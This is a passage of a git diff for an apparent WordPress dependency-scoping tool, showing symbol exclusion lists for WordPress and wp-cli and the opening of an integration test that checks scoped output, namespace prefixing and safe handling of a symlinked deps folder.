+ 'wp_maybe_load_embeds', + 'wp_maybe_load_widgets', + 'wp_maybe_transition_site_statuses_on_update', + 'wp_maybe_update_network_site_counts', + 'wp_maybe_update_network_site_counts_on_update', + 'wp_maybe_update_network_user_counts', + 'wp_maybe_update_user_counts', + 'wp_media_attach_action', + 'wp_media_insert_url_form', + 'wp_media_personal_data_exporter', + 'wp_media_upload_handler', + 'wp_mediaelement_fallback', + 'wp_meta', + 'wp_metadata_lazyloader', + 'wp_migrate_old_typography_shape', + 'wp_mime_type_icon', + 'wp_mkdir_p', + 'wp_nav_menu', + 'wp_nav_menu_disabled_check', + 'wp_nav_menu_item_link_meta_box', + 'wp_nav_menu_item_post_type_meta_box', + 'wp_nav_menu_item_taxonomy_meta_box', + 'wp_nav_menu_locations_meta_box', + 'wp_nav_menu_manage_columns', + 'wp_nav_menu_max_depth', + 'wp_nav_menu_post_type_meta_boxes', + 'wp_nav_menu_remove_menu_item_has_children_class', + 'wp_nav_menu_setup', + 'wp_nav_menu_taxonomy_meta_boxes', + 'wp_nav_menu_update_menu_items', + 'wp_network_admin_email_change_notification', + 'wp_network_dashboard_right_now', + 'wp_new_blog_notification', + 'wp_new_comment', + 'wp_new_comment_notify_moderator', + 'wp_new_comment_notify_postauthor', + 'wp_new_comment_via_rest_notify_postauthor', + 'wp_new_user_notification', + 'wp_next_scheduled', + 'wp_no_robots', + 'wp_nonce_ays', + 'wp_nonce_field', + 'wp_nonce_tick', + 'wp_nonce_url', + 'wp_normalize_path', + 'wp_normalize_remote_block_pattern', + 'wp_normalize_site_data', + 'wp_not_installed', + 'wp_notify_moderator', + 'wp_notify_postauthor', + 'wp_ob_end_flush_all', + 'wp_oembed_add_discovery_links', + 'wp_oembed_add_host_js', + 'wp_oembed_add_provider', + 'wp_oembed_ensure_format', + 'wp_oembed_get', + 'wp_oembed_register_route', + 'wp_oembed_remove_provider', + 'wp_old_slug_redirect', + 'wp_omit_loading_attr_threshold', + 'wp_opcache_invalidate', + 'wp_opcache_invalidate_directory', + 'wp_options_connectors_intercept_render', + 'wp_options_connectors_preload_data', + 'wp_options_connectors_render_page', + 'wp_options_connectors_wp_admin_enqueue_scripts', + 'wp_options_connectors_wp_admin_preload_data', + 'wp_options_connectors_wp_admin_render_page', + 'wp_original_referer_field', + 'wp_page_menu', + 'wp_page_reload_on_back_button_js', + 'wp_parse_args', + 'wp_parse_auth_cookie', + 'wp_parse_id_list', + 'wp_parse_list', + 'wp_parse_slug_list', + 'wp_parse_str', + 'wp_parse_url', + 'wp_parse_widget_id', + 'wp_password_change_notification', + 'wp_password_needs_rehash', + 'wp_paused_plugins', + 'wp_paused_themes', + 'wp_playlist_scripts', + 'wp_playlist_shortcode', + 'wp_plugin_directory_constants', + 'wp_plugin_update_row', + 'wp_plugin_update_rows', + 'wp_plupload_default_settings', + 'wp_popular_terms_checklist', + 'wp_populate_basic_auth_from_authorization_header', + 'wp_post_mime_type_where', + 'wp_post_preview_js', + 'wp_post_revision_meta_keys', + 'wp_post_revision_title', + 'wp_post_revision_title_expanded', + 'wp_pre_kses_block_attributes', + 'wp_pre_kses_less_than', + 'wp_pre_kses_less_than_callback', + 'wp_preload_dialogs', + 'wp_preload_resources', + 'wp_prepare_attachment_for_js', + 'wp_prepare_revisions_for_js', + 'wp_prepare_site_data', + 'wp_prepare_themes_for_js', + 'wp_prime_network_option_caches', + 'wp_prime_option_caches', + 'wp_prime_option_caches_by_group', + 'wp_prime_site_option_caches', + 'wp_print_admin_notice_templates', + 'wp_print_auto_sizes_contain_css_fix', + 'wp_print_community_events_markup', + 'wp_print_community_events_templates', + 'wp_print_editor_js', + 'wp_print_file_editor_templates', + 'wp_print_font_faces', + 'wp_print_font_faces_from_style_variations', + 'wp_print_footer_scripts', + 'wp_print_head_scripts', + 'wp_print_inline_script_tag', + 'wp_print_media_templates', + 'wp_print_plugin_file_tree', + 'wp_print_request_filesystem_credentials_modal', + 'wp_print_revision_templates', + 'wp_print_script_tag', + 'wp_print_scripts', + 'wp_print_speculation_rules', + 'wp_print_styles', + 'wp_print_theme_file_tree', + 'wp_print_update_row_templates', + 'wp_privacy_anonymize_data', + 'wp_privacy_anonymize_ip', + 'wp_privacy_delete_old_export_files', + 'wp_privacy_exports_dir', + 'wp_privacy_exports_url', + 'wp_privacy_generate_personal_data_export_file', + 'wp_privacy_generate_personal_data_export_group_html', + 'wp_privacy_process_personal_data_erasure_page', + 'wp_privacy_process_personal_data_export_page', + 'wp_privacy_send_personal_data_export_email', + 'wp_protect_special_option', + 'wp_prototype_before_jquery', + 'wp_publish_post', + 'wp_queue_comments_for_comment_meta_lazyload', + 'wp_queue_posts_for_term_meta_lazyload', + 'wp_quicktags', + 'wp_raise_memory_limit', + 'wp_rand', + 'wp_read_audio_metadata', + 'wp_read_image_metadata', + 'wp_read_video_metadata', + 'wp_readonly', + 'wp_recovery_mode', + 'wp_recovery_mode_nag', + 'wp_recursive_ksort', + 'wp_redirect', + 'wp_redirect_admin_locations', + 'wp_referer_field', + 'wp_refresh_heartbeat_nonces', + 'wp_refresh_metabox_loader_nonces', + 'wp_refresh_post_lock', + 'wp_refresh_post_nonces', + 'wp_register', + 'wp_register_ability', + 'wp_register_ability_category', + 'wp_register_alignment_support', + 'wp_register_anchor_support', + 'wp_register_aria_label_support', + 'wp_register_background_support', + 'wp_register_block_metadata_collection', + 'wp_register_block_style_variations_from_theme_json_partials', + 'wp_register_block_types_from_metadata_collection', + 'wp_register_border_support', + 'wp_register_colors_support', + 'wp_register_comment_personal_data_eraser', + 'wp_register_comment_personal_data_exporter', + 'wp_register_core_abilities', + 'wp_register_core_ability_categories', + 'wp_register_core_block_metadata_collection', + 'wp_register_custom_classname_support', + 'wp_register_custom_css_support', + 'wp_register_development_scripts', + 'wp_register_dimensions_support', + 'wp_register_duotone_support', + 'wp_register_fatal_error_handler', + 'wp_register_font_collection', + 'wp_register_font_library_menu_item', + 'wp_register_font_library_page_routes', + 'wp_register_font_library_route', + 'wp_register_font_library_wp_admin_menu_item', + 'wp_register_font_library_wp_admin_page_routes', + 'wp_register_font_library_wp_admin_route', + 'wp_register_layout_support', + 'wp_register_media_personal_data_exporter', + 'wp_register_options_connectors_menu_item', + 'wp_register_options_connectors_page_routes', + 'wp_register_options_connectors_route', + 'wp_register_options_connectors_wp_admin_menu_item', + 'wp_register_options_connectors_wp_admin_page_routes', + 'wp_register_options_connectors_wp_admin_route', + 'wp_register_page_routes', + 'wp_register_persisted_preferences_meta', + 'wp_register_plugin_realpath', + 'wp_register_position_support', + 'wp_register_script', + 'wp_register_script_module', + 'wp_register_shadow_support', + 'wp_register_sidebar_widget', + 'wp_register_sitemap_provider', + 'wp_register_spacing_support', + 'wp_register_style', + 'wp_register_tinymce_scripts', + 'wp_register_typography_support', + 'wp_register_user_personal_data_exporter', + 'wp_register_widget_control', + 'wp_registration_url', + 'wp_rel_callback', + 'wp_rel_nofollow', + 'wp_rel_nofollow_callback', + 'wp_rel_ugc', + 'wp_remote_fopen', + 'wp_remote_get', + 'wp_remote_head', + 'wp_remote_post', + 'wp_remote_request', + 'wp_remote_retrieve_body', + 'wp_remote_retrieve_cookie', + 'wp_remote_retrieve_cookie_value', + 'wp_remote_retrieve_cookies', + 'wp_remote_retrieve_header', + 'wp_remote_retrieve_headers', + 'wp_remote_retrieve_response_code', + 'wp_remote_retrieve_response_message', + 'wp_removable_query_args', + 'wp_remove_object_terms', + 'wp_remove_surrounding_empty_script_tags', + 'wp_remove_targeted_link_rel_filters', + 'wp_render_background_support', + 'wp_render_block_style_variation_class_name', + 'wp_render_block_style_variation_support_styles', + 'wp_render_block_visibility_support', + 'wp_render_custom_css_class_name', + 'wp_render_custom_css_support_styles', + 'wp_render_dimensions_support', + 'wp_render_duotone_filter_preset', + 'wp_render_duotone_support', + 'wp_render_elements_class_name', + 'wp_render_elements_support', + 'wp_render_elements_support_styles', + 'wp_render_empty_block_template_warning', + 'wp_render_layout_support_flag', + 'wp_render_position_support', + 'wp_render_typography_support', + 'wp_render_widget', + 'wp_render_widget_control', + 'wp_replace_in_html_tags', + 'wp_replace_insecure_home_url', + 'wp_required_field_indicator', + 'wp_required_field_message', + 'wp_reschedule_event', + 'wp_reset_postdata', + 'wp_reset_query', + 'wp_reset_vars', + 'wp_resolve_block_style_variation_ref_values', + 'wp_resolve_numeric_slug_conflicts', + 'wp_resolve_post_date', + 'wp_resource_hints', + 'wp_restore_group_inner_container', + 'wp_restore_image', + 'wp_restore_image_outer_container', + 'wp_restore_post_revision', + 'wp_restore_post_revision_meta', + 'wp_revisions_enabled', + 'wp_revisions_to_keep', + 'wp_revoke_user', + 'wp_richedit_pre', + 'wp_robots', + 'wp_robots_max_image_preview_large', + 'wp_robots_no_robots', + 'wp_robots_noindex', + 'wp_robots_noindex_embeds', + 'wp_robots_noindex_search', + 'wp_robots_sensitive_page', + 'wp_roles', + 'wp_rss', + 'wp_safe_redirect', + 'wp_safe_remote_get', + 'wp_safe_remote_head', + 'wp_safe_remote_post', + 'wp_safe_remote_request', + 'wp_salt', + 'wp_sanitize_redirect', + 'wp_sanitize_script_attributes', + 'wp_save_image', + 'wp_save_image_file', + 'wp_save_nav_menu_items', + 'wp_save_post_revision', + 'wp_save_post_revision_on_insert', + 'wp_save_revisioned_meta_fields', + 'wp_schedule_delete_old_privacy_export_files', + 'wp_schedule_event', + 'wp_schedule_single_event', + 'wp_schedule_update_checks', + 'wp_schedule_update_network_counts', + 'wp_schedule_update_user_counts', + 'wp_scheduled_delete', + 'wp_script_add_data', + 'wp_script_is', + 'wp_script_modules', + 'wp_scripts', + 'wp_scripts_get_suffix', + 'wp_scrub_utf8', + 'wp_send_json', + 'wp_send_json_error', + 'wp_send_json_success', + 'wp_send_new_user_notifications', + 'wp_send_user_request', + 'wp_sensitive_page_meta', + 'wp_set_all_user_settings', + 'wp_set_auth_cookie', + 'wp_set_comment_cookies', + 'wp_set_comment_status', + 'wp_set_current_user', + 'wp_set_internal_encoding', + 'wp_set_lang_dir', + 'wp_set_link_cats', + 'wp_set_object_terms', + 'wp_set_option_autoload', + 'wp_set_option_autoload_values', + 'wp_set_options_autoload', + 'wp_set_password', + 'wp_set_post_categories', + 'wp_set_post_cats', + 'wp_set_post_lock', + 'wp_set_post_tags', + 'wp_set_post_terms', + 'wp_set_script_module_translations', + 'wp_set_script_translations', + 'wp_set_sidebars_widgets', + 'wp_set_template_globals', + 'wp_set_unique_slug_on_create_template_part', + 'wp_set_wpdb_vars', + 'wp_setcookie', + 'wp_setup_nav_menu_item', + 'wp_setup_widgets_block_editor', + 'wp_shake_js', + 'wp_shortlink_header', + 'wp_shortlink_wp_head', + 'wp_should_add_elements_class_name', + 'wp_should_load_block_assets_on_demand', + 'wp_should_load_block_editor_scripts_and_styles', + 'wp_should_load_separate_core_block_assets', + 'wp_should_output_buffer_template_for_enhancement', + 'wp_should_replace_insecure_home_url', + 'wp_should_skip_block_supports_serialization', + 'wp_should_upgrade_global_tables', + 'wp_show_heic_upload_error', + 'wp_shrink_dimensions', + 'wp_sidebar_description', + 'wp_signon', + 'wp_simplepie_autoload', + 'wp_site_admin_email_change_notification', + 'wp_site_icon', + 'wp_sitemaps_get_max_urls', + 'wp_sitemaps_get_server', + 'wp_sizes_attribute_includes_valid_auto', + 'wp_skip_border_serialization', + 'wp_skip_dimensions_serialization', + 'wp_skip_paused_plugins', + 'wp_skip_paused_themes', + 'wp_skip_spacing_serialization', + 'wp_slash', + 'wp_slash_strings_only', + 'wp_spaces_regexp', + 'wp_spam_comment', + 'wp_specialchars', + 'wp_specialchars_decode', + 'wp_sprintf', + 'wp_sprintf_l', + 'wp_ssl_constants', + 'wp_star_rating', + 'wp_start_object_cache', + 'wp_start_scraping_edited_file_errors', + 'wp_start_template_enhancement_output_buffer', + 'wp_staticize_emoji', + 'wp_staticize_emoji_for_email', + 'wp_stream_image', + 'wp_strict_cross_origin_referrer', + 'wp_strip_all_tags', + 'wp_strip_custom_css_from_blocks', + 'wp_style_add_data', + 'wp_style_engine_get_styles', + 'wp_style_engine_get_stylesheet_from_context', + 'wp_style_engine_get_stylesheet_from_css_rules', + 'wp_style_is', + 'wp_style_loader_src', + 'wp_styles', + 'wp_supports_ai', + 'wp_suspend_cache_addition', + 'wp_suspend_cache_invalidation', + 'wp_switch_roles_and_user', + 'wp_tag_cloud', + 'wp_targeted_link_rel', + 'wp_targeted_link_rel_callback', + 'wp_templating_constants', + 'wp_tempnam', + 'wp_term_is_shared', + 'wp_terms_checklist', + 'wp_text_diff', + 'wp_theme_auto_update_setting_template', + 'wp_theme_get_element_class_name', + 'wp_theme_has_theme_json', + 'wp_theme_update_row', + 'wp_theme_update_rows', + 'wp_throttle_comment_flood', + 'wp_timezone', + 'wp_timezone_choice', + 'wp_timezone_override_offset', + 'wp_timezone_string', + 'wp_timezone_supported', + 'wp_tiny_mce', + 'wp_tinycolor_bound01', + 'wp_tinycolor_hsl_to_rgb', + 'wp_tinycolor_hue_to_rgb', + 'wp_tinycolor_rgb_to_rgb', + 'wp_tinycolor_string_to_rgb', + 'wp_tinymce_inline_scripts', + 'wp_title', + 'wp_title_rss', + 'wp_transition_comment_status', + 'wp_transition_post_status', + 'wp_trash_comment', + 'wp_trash_post', + 'wp_trash_post_comments', + 'wp_trigger_error', + 'wp_trim_excerpt', + 'wp_trim_words', + 'wp_trusted_keys', + 'wp_typography_get_css_variable_inline_style', + 'wp_typography_get_preset_inline_style_value', + 'wp_underscore_audio_template', + 'wp_underscore_playlist_templates', + 'wp_underscore_video_template', + 'wp_uninitialize_site', + 'wp_unique_filename', + 'wp_unique_id', + 'wp_unique_id_from_values', + 'wp_unique_post_slug', + 'wp_unique_prefixed_id', + 'wp_unique_term_slug', + 'wp_unregister_GLOBALS', + 'wp_unregister_ability', + 'wp_unregister_ability_category', + 'wp_unregister_font_collection', + 'wp_unregister_sidebar_widget', + 'wp_unregister_widget_control', + 'wp_unschedule_event', + 'wp_unschedule_hook', + 'wp_unslash', + 'wp_unspam_comment', + 'wp_untrash_comment', + 'wp_untrash_post', + 'wp_untrash_post_comments', + 'wp_untrash_post_set_previous_status', + 'wp_update_attachment_metadata', + 'wp_update_blog_public_option_on_site_update', + 'wp_update_category', + 'wp_update_comment', + 'wp_update_comment_count', + 'wp_update_comment_count_now', + 'wp_update_core', + 'wp_update_custom_css_post', + 'wp_update_https_detection_errors', + 'wp_update_https_migration_required', + 'wp_update_image_subsizes', + 'wp_update_link', + 'wp_update_nav_menu_item', + 'wp_update_nav_menu_object', + 'wp_update_network_counts', + 'wp_update_network_site_counts', + 'wp_update_network_user_counts', + 'wp_update_php_annotation', + 'wp_update_plugin', + 'wp_update_plugins', + 'wp_update_post', + 'wp_update_site', + 'wp_update_term', + 'wp_update_term_count', + 'wp_update_term_count_now', + 'wp_update_theme', + 'wp_update_themes', + 'wp_update_urls_to_https', + 'wp_update_user', + 'wp_update_user_counts', + 'wp_upgrade', + 'wp_upload_bits', + 'wp_upload_dir', + 'wp_use_widgets_block_editor', + 'wp_user_personal_data_exporter', + 'wp_user_request_action_description', + 'wp_user_settings', + 'wp_using_ext_object_cache', + 'wp_using_themes', + 'wp_validate_application_password', + 'wp_validate_auth_cookie', + 'wp_validate_boolean', + 'wp_validate_logged_in_cookie', + 'wp_validate_redirect', + 'wp_validate_site_data', + 'wp_validate_user_request_key', + 'wp_verify_fast_hash', + 'wp_verify_nonce', + 'wp_version_check', + 'wp_video_shortcode', + 'wp_welcome_panel', + 'wp_widget_control', + 'wp_widget_description', + 'wp_widget_rss_form', + 'wp_widget_rss_output', + 'wp_widget_rss_process', + 'wp_widgets_access_body_class', + 'wp_widgets_add_menu', + 'wp_widgets_init', + 'wp_write_post', + 'wp_zip_file_is_valid', + 'wpautop', + 'wpmu_activate_signup', + 'wpmu_activate_stylesheet', + 'wpmu_admin_do_redirect', + 'wpmu_admin_redirect_add_updated_param', + 'wpmu_checkAvailableSpace', + 'wpmu_create_blog', + 'wpmu_create_user', + 'wpmu_current_site', + 'wpmu_delete_blog', + 'wpmu_delete_user', + 'wpmu_get_blog_allowedthemes', + 'wpmu_log_new_registrations', + 'wpmu_menu', + 'wpmu_new_site_admin_notification', + 'wpmu_signup_blog', + 'wpmu_signup_blog_notification', + 'wpmu_signup_stylesheet', + 'wpmu_signup_user', + 'wpmu_signup_user_notification', + 'wpmu_update_blogs_date', + 'wpmu_validate_blog_signup', + 'wpmu_validate_user_signup', + 'wpmu_welcome_notification', + 'wpmu_welcome_user_notification', + 'wptexturize', + 'wptexturize_primes', + 'wpview_media_sandbox_styles', + 'write_post', + 'wxr_authors_list', + 'wxr_cat_name', + 'wxr_category_description', + 'wxr_cdata', + 'wxr_filter_postmeta', + 'wxr_nav_menu_terms', + 'wxr_post_taxonomy', + 'wxr_site_url', + 'wxr_tag_description', + 'wxr_tag_name', + 'wxr_term_description', + 'wxr_term_meta', + 'wxr_term_name', + 'xfn_check', + 'xmlrpc_getpostcategory', + 'xmlrpc_getposttitle', + 'xmlrpc_pingback_error', + 'xmlrpc_removepostdata', + 'zeroise', + ), + 'exclude-namespaces' => array( + 'Avifinfo', + 'PHPMailer\\PHPMailer', + 'ParagonIE\\Sodium', + 'ParagonIE\\Sodium\\Core', + 'ParagonIE\\Sodium\\Core\\ChaCha20', + 'ParagonIE\\Sodium\\Core\\Curve25519', + 'ParagonIE\\Sodium\\Core\\Curve25519\\Ge', + 'ParagonIE\\Sodium\\Core\\Poly1305', + 'SimplePie', + 'SimplePie\\Cache', + 'SimplePie\\Content\\Type', + 'SimplePie\\HTTP', + 'SimplePie\\Net', + 'SimplePie\\Parse', + 'SimplePie\\XML\\Declaration', + 'Sodium', + 'WordPress\\AiClient', + 'WordPress\\AiClientDependencies\\Http\\Discovery', + 'WordPress\\AiClientDependencies\\Http\\Discovery\\Exception', + 'WordPress\\AiClientDependencies\\Http\\Discovery\\Strategy', + 'WordPress\\AiClientDependencies\\Nyholm\\Psr7', + 'WordPress\\AiClientDependencies\\Nyholm\\Psr7\\Factory', + 'WordPress\\AiClientDependencies\\Psr\\EventDispatcher', + 'WordPress\\AiClientDependencies\\Psr\\Http\\Client', + 'WordPress\\AiClientDependencies\\Psr\\Http\\Message', + 'WordPress\\AiClientDependencies\\Psr\\SimpleCache', + 'WordPress\\AiClient\\Builders', + 'WordPress\\AiClient\\Common', + 'WordPress\\AiClient\\Common\\Contracts', + 'WordPress\\AiClient\\Common\\Exception', + 'WordPress\\AiClient\\Common\\Traits', + 'WordPress\\AiClient\\Events', + 'WordPress\\AiClient\\Files\\DTO', + 'WordPress\\AiClient\\Files\\Enums', + 'WordPress\\AiClient\\Files\\ValueObjects', + 'WordPress\\AiClient\\Messages\\DTO', + 'WordPress\\AiClient\\Messages\\Enums', + 'WordPress\\AiClient\\Operations\\Contracts', + 'WordPress\\AiClient\\Operations\\DTO', + 'WordPress\\AiClient\\Operations\\Enums', + 'WordPress\\AiClient\\Providers', + 'WordPress\\AiClient\\Providers\\ApiBasedImplementation', + 'WordPress\\AiClient\\Providers\\ApiBasedImplementation\\Contracts', + 'WordPress\\AiClient\\Providers\\Contracts', + 'WordPress\\AiClient\\Providers\\DTO', + 'WordPress\\AiClient\\Providers\\Enums', + 'WordPress\\AiClient\\Providers\\Http', + 'WordPress\\AiClient\\Providers\\Http\\Abstracts', + 'WordPress\\AiClient\\Providers\\Http\\Collections', + 'WordPress\\AiClient\\Providers\\Http\\Contracts', + 'WordPress\\AiClient\\Providers\\Http\\DTO', + 'WordPress\\AiClient\\Providers\\Http\\Enums', + 'WordPress\\AiClient\\Providers\\Http\\Exception', + 'WordPress\\AiClient\\Providers\\Http\\Traits', + 'WordPress\\AiClient\\Providers\\Http\\Util', + 'WordPress\\AiClient\\Providers\\Models\\Contracts', + 'WordPress\\AiClient\\Providers\\Models\\DTO', + 'WordPress\\AiClient\\Providers\\Models\\Enums', + 'WordPress\\AiClient\\Providers\\Models\\ImageGeneration\\Contracts', + 'WordPress\\AiClient\\Providers\\Models\\SpeechGeneration\\Contracts', + 'WordPress\\AiClient\\Providers\\Models\\TextGeneration\\Contracts', + 'WordPress\\AiClient\\Providers\\Models\\TextToSpeechConversion\\Contracts', + 'WordPress\\AiClient\\Providers\\Models\\VideoGeneration\\Contracts', + 'WordPress\\AiClient\\Providers\\OpenAiCompatibleImplementation', + 'WordPress\\AiClient\\Results\\Contracts', + 'WordPress\\AiClient\\Results\\DTO', + 'WordPress\\AiClient\\Results\\Enums', + 'WordPress\\AiClient\\Tools\\DTO', + 'WpOrg\\Requests', + 'WpOrg\\Requests\\Auth', + 'WpOrg\\Requests\\Cookie', + 'WpOrg\\Requests\\Exception', + 'WpOrg\\Requests\\Exception\\Http', + 'WpOrg\\Requests\\Exception\\Transport', + 'WpOrg\\Requests\\Proxy', + 'WpOrg\\Requests\\Response', + 'WpOrg\\Requests\\Transport', + 'WpOrg\\Requests\\Utility', + ), +); diff --git a/symbols/wp-cli.php b/symbols/wp-cli.php index 212af28..58c16bd 100644 --- a/symbols/wp-cli.php +++ b/symbols/wp-cli.php @@ -1,89 +1,68 @@ - - array ( - 0 => 'WP_CLI\\Tests\\Traverser', - 1 => 'WP_CLI\\Tests\\CSV', - 2 => 'WpOrg\\Requests', - 8 => 'WpOrg\\Requests\\Transport', - 10 => 'WpOrg\\Requests\\Response', - 11 => 'WpOrg\\Requests\\Proxy', - 13 => 'WpOrg\\Requests\\Auth', - 23 => 'WpOrg\\Requests\\Cookie', - 25 => 'WpOrg\\Requests\\Exception\\Transport', - 26 => 'WpOrg\\Requests\\Exception', - 30 => 'WpOrg\\Requests\\Exception\\Http', - 63 => 'WpOrg\\Requests\\Utility', - 66 => 'WP_CLI', - 68 => 'WP_CLI\\Loggers', - 72 => 'WP_CLI\\Context', - 76 => 'WP_CLI\\Bootstrap', - 100 => 'WP_CLI\\Fetchers', - 106 => 'WP_CLI\\Traverser', - 108 => 'WP_CLI\\Dispatcher', - 126 => 'WP_CLI\\Exception', - 132 => 'WP_CLI\\Iterators', - 142 => 'WP_CLI\\Utils', - ), - 'exclude-classes' => - array ( - 0 => 'WpOrgApiTest', - 1 => 'InflectorTest', - 2 => 'SynopsisParserTest', - 3 => 'ProcessTest', - 4 => 'UtilsTest', - 5 => 'Mock_Requests_Transport', - 6 => 'FileCacheTest', - 7 => 'MockRegularLogger', - 8 => 'MockQuietLogger', - 9 => 'LoggingTest', - 10 => 'ConfiguratorTest', - 11 => 'DocParserTest', - 12 => 'WPVersionCompareTest', - 13 => 'ArgValidationTest', - 14 => 'WPCLITest', - 15 => 'ExtractorTest', - 16 => 'CommandFactoryTests_Get_Doc_Comment_1_Command', - 17 => 'CommandFactoryTests_Get_Doc_Comment_2_Command', - 18 => 'CommandFactoryTests_Get_Doc_Comment_1_Command_Win', - 19 => 'CommandFactoryTests_Get_Doc_Comment_2_Command_Win', - 20 => 'CommandFactoryTest', - 21 => 'HelpTest', - 22 => 'Requests', - 23 => 'WP_CLI', - 24 => 'WP_CLI_Command', - 25 => 'CLI_Command', - 26 => 'Help_Command', - 27 => 'CLI_Cache_Command', - 28 => 'CLI_Alias_Command', - ), - 'exclude-constants' => - array ( - 0 => 'WP_CLI_ROOT', - 1 => 'WP_CLI_VENDOR_DIR', - 3 => 'REQUESTS_SILENCE_PSR0_DEPRECATIONS', - 4 => 'REQUESTS_AUTOLOAD_REGISTERED', - 6 => 'WP_ADMIN', - 8 => 'ABSPATH', - 9 => 'WP_INSTALLING', - 11 => 'COOKIEHASH', - 12 => 'WP_LOAD_IMPORTERS', - 13 => 'WP_IMPORTING', - 14 => 'DOING_CRON', - 16 => 'WP_DEBUG', - 17 => 'WP_DEBUG_DISPLAY', - 19 => 'WPINC', - 20 => 'MULTISITE', - 21 => 'WP_CLI', - 22 => 'WP_CLI_VERSION', - 23 => 'WP_CLI_START_MICROTIME', - ), - 'exclude-functions' => - array ( - 0 => 'commandfactorytests_get_doc_comment_func_1_win', - 1 => 'commandfactorytests_get_doc_comment_func_2_win', - 2 => 'commandfactorytests_get_doc_comment_func_1', - 3 => 'commandfactorytests_get_doc_comment_func_2', - 4 => 'ini_set', - 5 => 'get_magic_quotes_gpc', - ), -); \ No newline at end of file + array( + 'CLI_Alias_Command', + 'CLI_Cache_Command', + 'CLI_Command', + 'Help_Command', + 'Requests', + 'WP_CLI', + 'WP_CLI_Command', + ), + 'exclude-constants' => array( + 'ABSPATH', + 'COOKIEHASH', + 'DOING_CRON', + 'MULTISITE', + 'REQUESTS_AUTOLOAD_REGISTERED', + 'REQUESTS_SILENCE_PSR0_DEPRECATIONS', + 'WPINC', + 'WP_ADMIN', + 'WP_CLI', + 'WP_CLI_ROOT', + 'WP_CLI_START_MICROTIME', + 'WP_CLI_VENDOR_DIR', + 'WP_CLI_VERSION', + 'WP_DEBUG', + 'WP_DEBUG_DISPLAY', + 'WP_IMPORTING', + 'WP_INSTALLING', + 'WP_LOAD_IMPORTERS', + ), + 'exclude-functions' => array( + 'get_magic_quotes_gpc', + 'ini_set', + ), + 'exclude-namespaces' => array( + 'WP_CLI', + 'WP_CLI\\Bootstrap', + 'WP_CLI\\Context', + 'WP_CLI\\Dispatcher', + 'WP_CLI\\Exception', + 'WP_CLI\\Fetchers', + 'WP_CLI\\Iterators', + 'WP_CLI\\Loggers', + 'WP_CLI\\Traverser', + 'WP_CLI\\Utils', + 'WpOrg\\Requests', + 'WpOrg\\Requests\\Auth', + 'WpOrg\\Requests\\Cookie', + 'WpOrg\\Requests\\Exception', + 'WpOrg\\Requests\\Exception\\Http', + 'WpOrg\\Requests\\Exception\\Transport', + 'WpOrg\\Requests\\Proxy', + 'WpOrg\\Requests\\Response', + 'WpOrg\\Requests\\Transport', + 'WpOrg\\Requests\\Utility', + ), +); diff --git a/tests/Integration/ScopingPipelineTest.php b/tests/Integration/ScopingPipelineTest.php new file mode 100644 index 0000000..2c4a57a --- /dev/null +++ b/tests/Integration/ScopingPipelineTest.php @@ -0,0 +1,287 @@ +run( 'update', true ); + + self::$output = $io->getOutput(); + + self::assertSame( 0, $exitCode, 'the pipeline failed:' . PHP_EOL . self::$output ); + } + + public static function tearDownAfterClass(): void { + if ( '' !== self::$root ) { + ( new Filesystem() )->removeDirectory( self::$root ); + } + + self::$root = ''; + self::$output = ''; + } + + /** + * Copies the fixture into a scratch directory and points the path repository at the copy. + * + * The path repository URL has to be absolute: the manifest is copied into the temp workspace + * before the nested Composer resolves it, so a relative URL would resolve from the wrong place. + */ + private static function materialiseFixture(): string { + $filesystem = new Filesystem(); + $root = $filesystem->normalizePath( sys_get_temp_dir() . '/wpify-scoper-e2e-' . bin2hex( random_bytes( 6 ) ) ); + + $filesystem->ensureDirectoryExists( $root ); + + self::assertTrue( $filesystem->copy( dirname( __DIR__ ) . '/fixtures/e2e', $root ) ); + + $manifest = (string) file_get_contents( $root . '/composer-deps.json' ); + + file_put_contents( $root . '/composer-deps.json', str_replace( '%%PKG_DIR%%', $root . '/pkg', $manifest ) ); + + // deps/ starts out as a symlink pointing outside the folder the pipeline replaces. The + // swap has to move the link aside and delete the link itself - following it would wipe + // the target, which is how the tool used to eat a project's real dependency tree. + $filesystem->ensureDirectoryExists( $root . '/deps-real' ); + file_put_contents( $root . '/deps-real/sentinel.txt', 'must survive the swap' ); + + self::assertTrue( symlink( $root . '/deps-real', $root . '/deps' ) ); + + return $root; + } + + private function scoped( string $relativePath ): string { + $path = self::$root . '/deps/' . $relativePath; + + self::assertFileExists( $path, self::$output ); + + $contents = file_get_contents( $path ); + + if ( false === $contents ) { + throw new RuntimeException( 'cannot read ' . $path ); + } + + return $contents; + } + + // --- the scoped tree exists and is loadable ------------------------------------------------ + + public function test_the_scoped_autoloader_is_produced(): void { + self::assertFileExists( self::$root . '/deps/scoper-autoload.php' ); + self::assertFileExists( self::$root . '/deps/autoload.php' ); + self::assertFileExists( self::$root . '/deps/composer/autoload_static.php' ); + self::assertFileExists( self::$root . '/deps/acme/lib/composer.json' ); + } + + public function test_every_scoped_file_is_syntactically_valid_php(): void { + $files = glob( self::$root . '/deps/acme/lib/{src,wpseo,pobox}/*.php', GLOB_BRACE ); + + self::assertIsArray( $files ); + self::assertNotEmpty( $files ); + + foreach ( $files as $file ) { + exec( sprintf( '%s -l %s 2>&1', escapeshellarg( PHP_BINARY ), escapeshellarg( $file ) ), $out, $status ); + + self::assertSame( 0, $status, $file . ': ' . implode( PHP_EOL, $out ) ); + } + } + + public function test_the_lock_file_is_published_to_the_project_root(): void { + self::assertFileExists( self::$root . '/composer-deps.lock' ); + + $lock = json_decode( (string) file_get_contents( self::$root . '/composer-deps.lock' ), true ); + + self::assertIsArray( $lock ); + self::assertSame( 'acme/lib', $lock['packages'][0]['name'] ); + } + + // --- what must be prefixed ----------------------------------------------------------------- + + public function test_a_vendor_class_is_moved_into_the_prefix(): void { + self::assertStringContainsString( 'namespace ' . self::PREFIX . '\\Acme\\Lib;', $this->scoped( 'acme/lib/src/Greeter.php' ) ); + } + + public function test_a_vendor_function_is_moved_into_the_prefix(): void { + self::assertStringContainsString( 'namespace ' . self::PREFIX . '\\Acme\\Lib;', $this->scoped( 'acme/lib/src/functions.php' ) ); + self::assertStringContainsString( 'function acme_site_name(', $this->scoped( 'acme/lib/src/functions.php' ) ); + } + + /** + * `WPSEO` starts with `WP`, an excluded WordPress class, and `POBox` starts with `PO`. + * The unanchored patcher this replaced stripped the prefix off both, which put third-party + * code straight back into the global namespace it was supposed to be moved out of. + */ + public function test_a_vendor_namespace_that_starts_with_an_excluded_class_stays_prefixed(): void { + self::assertStringContainsString( 'namespace ' . self::PREFIX . '\\WPSEO;', $this->scoped( 'acme/lib/wpseo/Utils.php' ) ); + self::assertStringContainsString( 